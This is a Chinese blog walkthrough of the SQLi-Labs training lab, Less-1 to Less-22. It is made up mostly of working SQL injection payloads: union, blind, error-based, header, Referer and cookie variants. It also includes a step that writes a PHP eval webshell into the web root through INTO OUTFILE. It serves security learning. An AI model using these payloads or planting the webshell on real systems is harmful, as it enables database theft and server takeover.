SQLi_Labs靶场之Basic Challenges学习分享
2023-1-19 15:48:27 Author: xz.aliyun.com(查看原文) 阅读量:17 收藏

Less-1

尝试添加'注入,发现报错

这里我们就可以直接发现报错的地方,直接将后面注释,然后使用

1' order by 3%23

//得到列数为3

//这里用-1是为了查询一个不存在的id,好让第一句结果为空,直接显示第二句的结果

-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23

//得到数据库名

//得到表名

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'%23

如下

//得到列名

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'%23

如下

//爆破得到数据

-1' union select 1,username,password from users where id=3%23

如下

Less-2

在添加'之后,得到返回

可以得到这个sql语句其实并没有单引号,只是用数字进行查询,例如

select * from users where id=1

所以我们也可以跟上面一样,payloads:

-1 or 1=1%23

如下

Less-3

添加'之后,返回

可以得到大概的sql语句:

select * from users where id=('input') LIMIT 0,1;

所以我们可以需要闭合)。

-1') or 1=1%23

如下

Less-4

尝试'并未发现报错,尝试"发现报错

可以得到大概的sql语句

select * from users where id = ("input") LIMIT 0,1;

所以payload:

-1") or 1=1 %23

如下

Less-5

尝试'发现报错

猜测sql语句为

select * from users where id='input' LIMIT 0,1;

如果尝试之前的注入方法,会发现不再会返回我们注入的信息,如果注入成功的话,页面会返回You are in...,出错的话就不会返回这个字符串,所以这里我们可以进行盲注。

使用left()

例如我们可以使用1' and left(version(),1)=3%23这个payload进行测试,截取version()得到的最左侧的字符判断是否为3,如果为3则正常返回You are in...,否则不返回。

所以我们可以利用这个一步一步爆破得到1' and left(version(),1)=5%23。爆破区间可以确定在/[0-9.]/。

采用1'and length(database())=8%23对数据库名字长度进行爆破,确定数据库名字长度之后,我们可以使用database()来进行爆破数据库名,采用1' and left(database(),1)>'a'%23这个payload进行测试,原理跟上述一致,看返回即可,直到截取长度与数据库名字一致为止,这里效率比较高的就是采用二分法进行盲注。

使用substr()、ascii()

也可以采用substr()、ascii()函数进行尝试:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23 //截取数据库下第一个表的

第一个字符与80ascii值进行对比 找第二个字符只需要改成substr('xxx',2,1)即可。 找第二个表改成limit 1,1

使用regexp()

1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)%23 //users表中的列名是否有us**的列

使用ord()、mid()

1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23 //cast(username AS CHAR)将username转换成字符串

//IFNULL(exp1,exp2)假如expr1不为NULL,则IFNULL()的返回值为expr1; 否则其返回值为expr2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。 //ord将某个字符转换成ascii码,同ascii()

使用报错注入

Mysql报错注入原理分析(count()、rand()、group by)

超链接:https://www.cnblogs.com/xdans/p/5412468.html

1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x%23

1' union select (exp(~(select * FROM(SELECT USER())a))),2, 3--+ //exp报错

1' union select (!(select * from (select user())x)- ~0),2,3--+ //bigint 溢出报错注入(这个单引号是微软拼音的中文单引号)

1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ //xpath报错注入

1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+ //xpath报错注入

1' union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+

使用延时注入

benchmark 是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark() 中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式

1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

Less-6

没有回显,可以使用布尔盲注

1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+

可以发现>100有回显,小于就没有,也可以用报错注入…

这里就是把Less-5 中的'改成"就行了

Less-7

使用文件导出,通过第Less-5的报错注入出绝对路径

1' and updatexml(1,concat(0x7e,(select @@datadir),0x7e),1) --+

1'))UNION SELECT 1,2,3 into outfile "c:\wamp\www\sqlli b\Less-7\uuu.txt"%23

上图中显示 sql 出错了,但是没有关系,我们可以在文件中看到 uuu.txt 已经生成了

1'))UNION SELECT 1,2,'<?php @eval($_post["mima"])?>' into outfile "c:\wamp\www\sqllib\Less-7\yijuhua.php"--+

可以在文件中看到一句话木马已经导入进去了

Less-8

可以使用时间盲注,也可以用 bool 盲注

1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

Less-9

同 Less-8 可以使用时间盲注

1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

Less-10

1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

Less-11

报错注入,少一列就行了

1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

Less-12

1") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

1") union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

Less-13

1') or 1=1#

成功登录,报错注入成功但是不回显,可以考虑盲注

1') or ascii(substr((database()),1,1))>100#

Less-14

1" or 1=1#

成功登录,依然不能回显,尝试使用布尔盲注

1" or left(database(),1)='s'#

发现可以用updatexml进行报错注入

1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

Less-15

1' or 1=1#

成功登录,布尔注入或者时间盲注均可行

1' or left(database(),1)='s'#

admin' and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

Less-16

1") or 1=1#

成功登录,布尔注入或者时间盲注均可行

1") or left(database(),1)='s'#

admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

Less-17

update注入,username过滤了很多,有password错误回显,考虑用报错注入

username=admin

password=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

Less-18

登录成功后,页面提示

那么有可能是 ip 或者 UA 注入,看了一下发现是个 Header 头注入,这里需要注意这是登录成功的条件下才能触发的,而且既然是insert注入,需要用'1'='1闭合后面的 sql 语句,否则就是语法错误了

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1),"1","1")#

Less-19

登录成功后提示

于是我们可以知道是在Referer应该有注入点,在 Referer 处同样用

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

可以注入

Less-20

cookie 注入,登录成功后修改 cookie 即可,注意删除post的参数

uname=' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

Less-21

登录成功后发现 cookie 加上了 base64

YOUR COOKIE : uname = YWRtaW4=

用上面的 payload 进行 base64 编码就行了,记得=要 urlencode

JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAnMSc9JzE%3d

Less-22

同 21 ,单引号换成双引号即可

IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAiMSI9IjE%3d

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:

https://rdyx0.github.io/

先知社区:

https://xz.aliyun.com/u/37846

SecIN:

https://www.sec-in.com/author/3097

CSDN:

https://blog.csdn.net/weixin_48899364?type=blog

公众号:

https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:

https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85


文章来源: https://xz.aliyun.com/t/12056
如有侵权请联系:admin#unsafe.sh